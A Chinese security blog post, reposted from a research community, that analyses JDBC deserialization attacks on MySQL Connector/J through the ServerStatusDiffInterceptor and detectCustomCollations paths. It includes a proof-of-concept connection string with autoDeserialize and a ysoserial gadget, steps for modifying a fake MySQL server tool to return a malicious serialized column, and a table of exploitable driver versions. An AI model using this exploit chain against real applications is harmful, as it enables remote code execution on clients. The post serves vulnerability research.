从JDBC attack到detectCustomCollations利用范围扩展

java 监控mysql执行sql 背景统计应用执行的sql,根据sql类型数量,进行数据库优化和sql语句优化实现mysql-connector-java 包中存在StatementInterceptorV2,public class MySQLStatementInterceptor implements StatementInterceptorV2 { private static final Log LOGGER = 阅读详情

声明

出品|先知社区(ID:RoboTerh)
以下内容,来自先知社区的RoboTerh作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

漏洞分析

原理****POC

String url = "jdbc:mysql://127.0.0.1:3306/test?
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";

关键属性

queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)

statementInterceptors:和上面的拦截器作用一致,实现了com.mysql.jdbc.StatementInterceptor接口的Class

到底应该使用哪一个属性,我们可以在对应版本的com.mysql.jdbc.ConnectionPropertiesImpl类中搜索,如果存在,就是存在的那个属性

autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。

getObject方法的寻找

我们可以关注到mysql-connnector-java-xxx.jar包中存在有ResultSetImpl.getObject()方法

当然,同样的,在不同的版本下的位置不同,我这里使用的5.1.48版本,他的位置

在com.mysql.jdbc.ResultSetImpl类中

图片

首先他会判断类型,如果是BIT类型,就会调用getObjectDeserializingIfNeeded方法,跟进

图片

之后他首先会判断field是否是Binary或者Blob

BLOB (binary large object),二进制大对象,是一个可以存储二进制文件的容器。在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型

之后取出对应的字节数,并且判断是否开启了autoDeserialize, 如果开启了,将会进入if语句继续判断前两个字节是否为-84 -19这是序列化字符串的标志,hex分别为AC ED, 如果满足条件,就会调用对应的readObject方法进行反序列化

所以不难发现,如果我们能够控制需要反序列化的数据,就能够进行反序列化漏洞的利用

ServerStatusDiffInterceptor拦截器的妙用

我们可以关注到com.mysql.jdbc.interceptors.Server-StatusDiffInterceptor这个类,在其中的populateMap-WithSessionStatusValues方法中,会调用Util.resultSetToMap(toPopulate, rs);方法,进而调用了java.sql.ResultSet.getObject方法,形成利用链

rivate void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
    java.sql.Statement stmt = null;
    java.sql.ResultSet rs = null;
    try {
        toPopulate.clear();
        stmt = connection.createStatement();
        rs = stmt.executeQuery("SHOW SESSION STATUS");
        Util.resultSetToMap(toPopulate, rs); //调用getObject方法
    } finally {
        if (rs != null) {
            rs.close();
        }
        if (stmt != null) {
            stmt.close();
        }
    }}
//Util.resultSetToMappublic static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
    while (rs.next()) {
        mappedValues.put(rs.getObject(1), rs.getObject(2));
    }}

同样通过idea的find Usages方法找到在postProcess方法中调用了populateMapWithSessionStatusValues

public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
        throws SQLException {
    if (connection.versionMeetsMinimum(5, 0, 2)) {
        //调用
        populateMapWithSessionStatusValues(connection, this.postExecuteValues);
        connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
    }
    return null; // we don't actually modify a result set}

同样在preProcess方法中也调用了

在调用链中也可以得到

populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)execSQL:2465, ConnectionImpl (com.mysql.jdbc)execSQL:2439, ConnectionImpl (com.mysql.jdbc)executeQuery:1365, StatementImpl (com.mysql.jdbc)loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)createNewIO:2015, ConnectionImpl (com.mysql.jdbc):768, ConnectionImpl (com.mysql.jdbc):47, JDBC4Connection (com.mysql.jdbc)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)handleNewInstance:425, Util (com.mysql.jdbc)getInstance:385, ConnectionImpl (com.mysql.jdbc)connect:323, NonRegisteringDriver (com.mysql.jdbc)getConnection:664, DriverManager (java.sql)getConnection:208, DriverManager (java.sql)main:15, Test (pers.xstream)

com.mysql.jdbc.ConnectImpl#loadServerVariables方法存在需要执行一段SHOW VARIABLES的sql语句

results = stmt.executeQuery(versionComment + "SHOW VARIABLES");

因为在这个版本中的mysql-connector使用的是statementInterceptors作为在执行SQL语句的拦截器类,所以在com.mysql.jdbc.MysqlIO#sqlQueryDirect方法中存在对这个属性值是否存在的判断,如果存在,就调用其中的拦截处理逻辑,不存在就直接放行

图片

进而调用了对应Interceptor的preProcess方法,如果我们在JDBC连接串中使用的

是ServerStatusDiffInterceptor作为拦截器,那么就会调用他的preProcess方法,进而形成了利用链

注意:在populateMapWithSessionStatusValues方法中存在一个执行SHOW SESSION STATUS获取结果的逻辑

rs = stmt.executeQuery("SHOW SESSION STATUS");

我们在恶意Mysql服务端进行处理的时候就可以通过进行SHOW SESSION STATUS或者其他版本的其他标志作为标志,返回我们构造的恶意payload, 使得在后面调用了UtilresultSetToMap进行getObject的调用

在ResultSetImpl#getObject方法中对mysql服务端返回的数据进行判断,这里是Types.LONGVARBINARY类型(长二进制数据), 再然后就是前面提到了getObject方法寻找的部分了

detectCustomCollations的妙用

在这里我们将环境中的mysql-connector-java包改为5.1.29版本

来自chybeta佬的研究,我们可以关注到ConnectionImpl#buildCollationMapping中存在有Util.resultSetToMap的调用,能够形成前面所描述的利用链

图片

首先看一下调用栈

buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)createNewIO:2320, ConnectionImpl (com.mysql.jdbc)<init>:834, ConnectionImpl (com.mysql.jdbc)<init>:46, JDBC4Connection (com.mysql.jdbc)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)handleNewInstance:411, Util (com.mysql.jdbc)getInstance:416, ConnectionImpl (com.mysql.jdbc)connect:347, NonRegisteringDriver (com.mysql.jdbc)getConnection:664, DriverManager (java.sql)getConnection:208, DriverManager (java.sql)main:16, Test (pers.xstream)

从上面的截图我们可以看到有几个判断条件

  1. 需要满足服务端版本要大于4.1.0 , 而且detectCustomCollations需要为true
if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())

2. 需要满足大于5.0.0,在5.1.28不存在这个条件

同样这里获取了执行SHOW COLLATION命令的结果集,同样可以作为标志返回恶意payload

只要满足上述条件,就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了

进行探索

过程

在大佬的研究中,提到了,detectCustomCollations触发方式在5.1.40版本之后不能够利用,因为没有使用getObject的方式获取SHOW COLLATION的结果

但是在我的跟踪中,发现了,其实还是可以利用的,虽然这个发现没有什么大用,在高版本不能使用ServerStatusDiffInterceptor的时候用用??

在idea中添加对应版本的包

<dependency>
  <groupId>mysql</groupId>
  <artifactId>mysql-connector-java</artifactId>
  <version>5.1.41</version></dependency>

在版本对比中,的确在新版本中删掉了Util.resultSetToMap的调用

图片

但是却在后面直接调用了SHOW COLLATION返回的结果,调用getObject方法,这里或许就可以达到我们的利用目的

为什么不能够成功执行

在发现了这个触发位置之后,我使用工具进行漏洞利用的时候,发现并不能够成功执行payload, 为什么呢?

我们可以关注到在调用getObject的时候

图片

这里是取的第3列的数据,而在大佬的工具中有所描述

SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列

同时在debug的过程中发现取出的并不是序列化数据,所以我们需要修改工具,使得返回的结果集中第3列是恶意的序列化数据,之后对利用工具进行了深入了解,和构造分析,可以知道在server.py中的handle_server方法中需要我们对其更改

图片

在图片所指的位置,就是我们返回集的第1,2,3的数据,可以直接改成content接收序列化数据,相对的,如果使用的是config.json配置文件执行命令的方式,就需要将上面某个的233改为yso_dict[username]

之后我们就可以成功利用了

图片

只有直到在5.1.49版本中做出了更改,导致不能使用

6.x版本能够利用吗

当然可以,在6.x版本中,他就类似于5.1.41之前的调用Util.resultSetToMap, 在这里它使用的是ResultSetUtil.resultSetToMap,跟进一下看下逻辑

图片

图片

是不是和之前的差不多,利用:

图片

版本区分

ServerStatusDiffInterceptor

  • 5.1.11-6.0.6使用的是statementInterceptors属性,而8.0以上使用queryInterceptors, 具体属性可以在ConnectionPropertiesImpl类中搜索

  • 5.1.11以下,不能通过这种方式利用,因为在5.1.10中Interceptors的初始化过程在漏洞利用过程之后,将会在利用中,因为找不到interceptor而不能够触发成功
    https://github.com/mysql/mysql-connector-j/compare/5.1.10…5.1.11#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL779-L785

图片

  • 5.0.x没有这个拦截器

detectCustomCollations

  • 8.0.x不存在getObject方法的调用

  • 6.x能够利用,因为他在com.mysql.cj.jdbc.Connec-tionImpl中调用了ResultSetUtil.resultSetToMap和上面的功能类似,且没有版本判断

图片

  • 从5.1.29开始启用detectCustomCollations属性,但是直到5.1.49做出了更改导致不能使用
    https://github.com/mysql/mysql-connector-j/compare/5.1.48…5.1.49#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL911-L914

图片

  • 在这里值得注意的是,在5.1.41做出了更改,不再调用Util.resultSetToMap方法,进而调用getObject方法,改为了直接调用getObject方法
    https://github.com/mysql/mysql-connector-j/compare/5.1.40…5.1.41#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL944-R936

  • 5.1.18以下没有使用getObject方法的调用

  • 在5.1.19-5.1.28过程中,不存在detectCustom-Collations属性的判断,但是仍然可以调用

https://github.com/mysql/mysql-connector-j/compare/5.1.28…5.1.29#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL986-L1005

可用连接串

直接对fnmsd的研究稍作修改

图片

将其中5.1.41不可用改成5.1.29以上只有5.1.49不可用,且6.x系列都可以使用

参考

  1. https://github.com/fnmsd/MySQL_Fake_Server

  2. https://www.anquanke.com/post/id/203086#h2-1

  3. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-

  4. Technique-In-Java-Deserialization-Attack.pdf

[JAVA安全]JDBC反序列化漏洞 JDBC反序列化调试分析 阅读详情

相关推荐

简单的JDBC反序列化复现

文章目录漏洞环境复现代码客户端脚本启动服务器MySQL_Fake_Server服务器 漏洞环境 jdk 1.8.152 需要的依赖库commons-collections 3.1作为本地Gadget JDBC利用采用8.0的版本 <dependencies> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java&l

qq_43936524的博客 5312

mysql语句调试_开发调试打印sql语句

不能打印sql,那么开发调试又需要sql,怎么办呢?容器化后,可以修改环境上的jdbc.properties:jdbc.url后面加?statementInterceptors=MySQLStatementInterceptor例如:jdbc.driverClassName=com.mysql.jdbc.Driverjdbc.url=jdbc:mysql://10.146.200.243:3306...

weixin_42297439的博客 748

基于STM32与HRTIM的四开关Buck-Boost双向DC-DC电源设计实战(附源码、仿真与设计解析)

本文详细介绍了基于STM32F334的HRTIM高分辨率定时器实现四开关Buck-Boost双向DC-DC电源的设计实战。通过精准的PWM控制、双环PID算法和智能模式切换逻辑,解决了电压震荡与效率优化等关键问题,并提供了完整的源码、PSIM仿真及参数计算,为高性能电源设计提供了实用参考。

7z8x2c4v6b9的博客 299

基于jdbc驱动拦截器从应用层面拦截敏感数据做脱敏加密处理

基于应用系统登录不同权限用户查看的数据做相应的敏感数据脱敏加密处理

qq_32784081的博客 4941

matlab 图像合成_用MATLAB做图像合成加雾的处理

众所周知,现在有很多算法来对图像进行去雾处理。但反之,对图像增加雾的代码却少之又少,本代码就是基于Matlab实现了对图像的加雾处理。该方法可用做雾天图像的合成数据集。代码公开如下:clear;clc; % close all; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%i...

weixin_35719260的博客 2060

手把手教你配置SAP EWM HU类型及号段分配(含常见错误排查)

本文详细介绍了SAP EWM系统中HU类型及号段分配的配置方法,包括环境准备、包材主数据配置、存储类型关联及号段管理。通过实战案例和常见错误排查,帮助用户高效完成HU配置,提升仓储管理效率。重点讲解了EWM后台配置和号段配置的关键步骤与技巧。

weixin_33670786的博客 444

mybatis 拦截器_详解Mybatis 拦截器实现原理

拦截器概述像springmvc一样,mybatis也提供了拦截器实现,只是他们拦截的对象不同。mybatis给Executor、StatementHandler、ResultSetHandler、ParameterHandler提供了拦截器功能,Executor提供了增删改查的接口.StatementHandler负责处理Mybatis与JDBC之间Statement的交互.ResultSetHa...

weixin_39757169的博客 643

单细胞拟时序分析实战:用monocle2从Seurat对象构建细胞轨迹(附完整代码)

本文提供了一套完整的单细胞拟时序分析实战教程,详细讲解了如何将Seurat对象转换为Monocle2的CellDataSet,并构建细胞命运轨迹。内容涵盖数据转换、轨迹定义基因选择、降维参数调优、可视化技巧及结果生物学验证,旨在帮助研究者解决实际分析中的常见问题,从静态细胞图谱中挖掘动态发育过程。

weixin_29251337的博客 342

mysql拦截器的应用场景_Connector/J 8.0 拦截器的使用与探索

Connector/J 文档介绍8.0 文档中替换了 5.0 的 StatementInterceptorV2connectionLifecycleInterceptors, where you specify the fully qualified names of classes that implement the com.mysql.cj.jdbc.interceptors.Connect...

weixin_42627812的博客 1166

【目标检测】yoloV5算法详解

一、与yoloV4相比,yoloV5的改进 输入端:在模型训练阶段,使用了Mosaic数据增强、自适应锚框计算、自适应图片缩放 基准网络:使用了FOCUS结构和CSP结构 Neck网络:在Backbone和最后的Head输出层之间插入FPN_PAN结构 Head输出层:训练时的损失函数GIOU_Loss,预测筛选框的DIOU_nns 二、yoloV5结构框架 CBL:CBL模块是由Conv+BN+Leaky_relu激活函数组成 Res unit:借鉴ResNet中的残差结构,用来构建深层网络,CBM是

qq_40373651的博客 2万+

YOLOv8独家原创改进:原创自研 | 自研独家创新DSAM注意力 ,基于BiLevelRoutingAttention注意力升级

提出新颖的注意力DSAM(Deformable Bi-level SpatialAttention Module),创新度极佳,适合科研创新,效果秒杀CBAM,Channel Attention+Spartial Attention升级为新颖的Deformable Bi-level Attention+Spartial Attention

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1515

Mybatis的拦截器Interceptor

Mybatis的拦截器Interceptor

Kwoky的博客 2722

RT-DETR训练自己的数据集(从代码下载到实例测试)

在Windows10上配置CUDA环境教程是百度提出的一种实时目标检测模型。RT-DETR采用了与DETR相同的编码器和解码器结构,但对其进行了大量的优化,在保持较高检测精度的同时,实现了实时目标检测,为目标检测领域提供了一种新的有效解决方案,具有广泛的应用前景,如自动驾驶、智能监控、机器人等领域。以上是RT-DETR官方的论文和代码,详细介绍了RT-DETR的构成和实现。在YOLOv10中也实现了RT-DETR的代码,所以本文使用YOLOv10的项目文件进行RT-DETR的训练和测试。YOLOv10。

Limiiiing的博客 4万+

SQL拦截器自动翻译 实现 (附代码 )

当我们启动SpringBoot的项目的时候,进行增删改查的操作。控制台会输出日志,以及sql语句等信息。控制台输出的内容会很难受而且很难看,不利于我们查找具体的sql语句以及查找错误之处。在我们的基础设施层 创建一个配置类的包 然后将这三个配置文件复制到这个包下 具体代码有详细注解!看着非常难受而且不方便,那个动态sql语句 占位符都没填充到问号里面。这样就ok了 是不是感觉sql查询更加的清晰了,有利于我们以后找错误。直接复制以上三个类配置到配置类中就ok了。以下是优化后控制台输出的代码!

dhsjdh124的博客 821

2025目标检测新方向:弱监督目标检测的最新论文研究与应用

2025目标检测新方向:弱监督目标检测的最新论文研究与应用 ,人工智能,计算机视觉,大模型,AI,本文聚焦2025年弱监督目标检测新方向,阐述其基础概念,包括弱监督学习定义、标注形式及面临的定位不准等挑战。介绍最新论文研究的多种算法,如基于点标注的算法等,还涉及相关模型、应用领域,以及评价指标、数据集、实现工具框架,分析未来趋势与补充挑战及解决方案,为该领域研究提供全面参考。

不踩坑,不知道坑有多深;不总结,踩过的坑白踩。 7万+

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

ConnectionManager 管理JDBC连接

[code="java"] log:打印日志(废话) callback: 回调类:在 打开连接,关闭连接,事务状态时机定义动作 factory:供应ConnectionProvider以提供连接,Batch以管理Statement releaseMode:释放模式 connection:连接缓存 borrowedConnection:连用连接缓存 wasConnectionSuppl...

tmmh 1328

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

Mybatis拦截器实现在SQL执行过程前后对SQL执行时间、SQL信息、Mapper信息进行日志打印

MyBatisConfig: @Configuration public class MyBatisConfig { @Resource private DataSource dataSource; @Value("${mybatis.mapper-locations}") private String mapperLocations; @Value(...

断橋殘雪的博客 5399

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

MyBatis 插件之拦截器(Interceptor)

一.背景 在很多业务场景下我们需要去拦截sql,达到不入侵原有代码业务处理一些东西,比如:分页操作,数据权限过滤操作,SQL执行时间性能监控等等,这里我们就可以用到Mybatis的拦截器Interceptor 二.Mybatis核心对象介绍 从MyBatis代码实现的角度来看,MyBatis的主要的核心部件有以下几个: Configuration 初始化基础配置,比如MyBatis的别名等,一些重要的类型对象,如,插件,映射器,ObjectFactory和typeHandler对象,MyBati..

chuixue24的博客 1774

Mysql JDBC反序列化漏洞

根据梅子酒师傅的笔记,可以知道,这是blackhat2019上的一个议题。

why811的博客 1110

一文搞懂全链路监控:方案概述与比较 | 干货

原文标题为《全链路监控(一):方案概述与比较》,作者陶邦仁,链接:https://www.jianshu.com/p/92a12de11f180—问题背景随着微服务架构的流行,服务按照...

weixin_38320674的博客 4310

切面编程(4):mybatis拦截器

web过滤器、spring拦截器,可对http请求进行拦截处理,mybatis也同样支持对sql语句执行的拦截处理。

sjzwangxufeng的专栏 1280

通过MySQL驱动拦截器实现执行sql耗时计算

日志组件要支持MySQL的sql执行时间打印,要实现链路追踪常用的手段就是实现第三方框架或工具提供的拦截器接口或者是过滤器接口,对于MySQL也不例外,实际上就是实现了MySQL驱动的拦截器接口而已

qq_31279701的博客 934

SpringBoot2自定义配置控制台数据库打印日志

*** 定义一个拦截器(Interceptor),用于拦截Executor接口中的update和query方法的执行。* 它可以对MappedStatement、Object、RowBounds、ResultHandler、CacheKey和BoundSql等参数进行处理。* 通过实现自定义的拦截器逻辑,可以对MyBatis的执行过程进行扩展和定制**///// 日志记录器/*** 拦截方法调用,记录方法执行前后的耗时,以分析SQL执行性能。

m0_73376570的博客 695
上一篇: 论如何优雅的注入Java Agent内存马
下一篇: ManageEngine ADSelfService Plus历史漏洞CVE-2021-40539分析
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值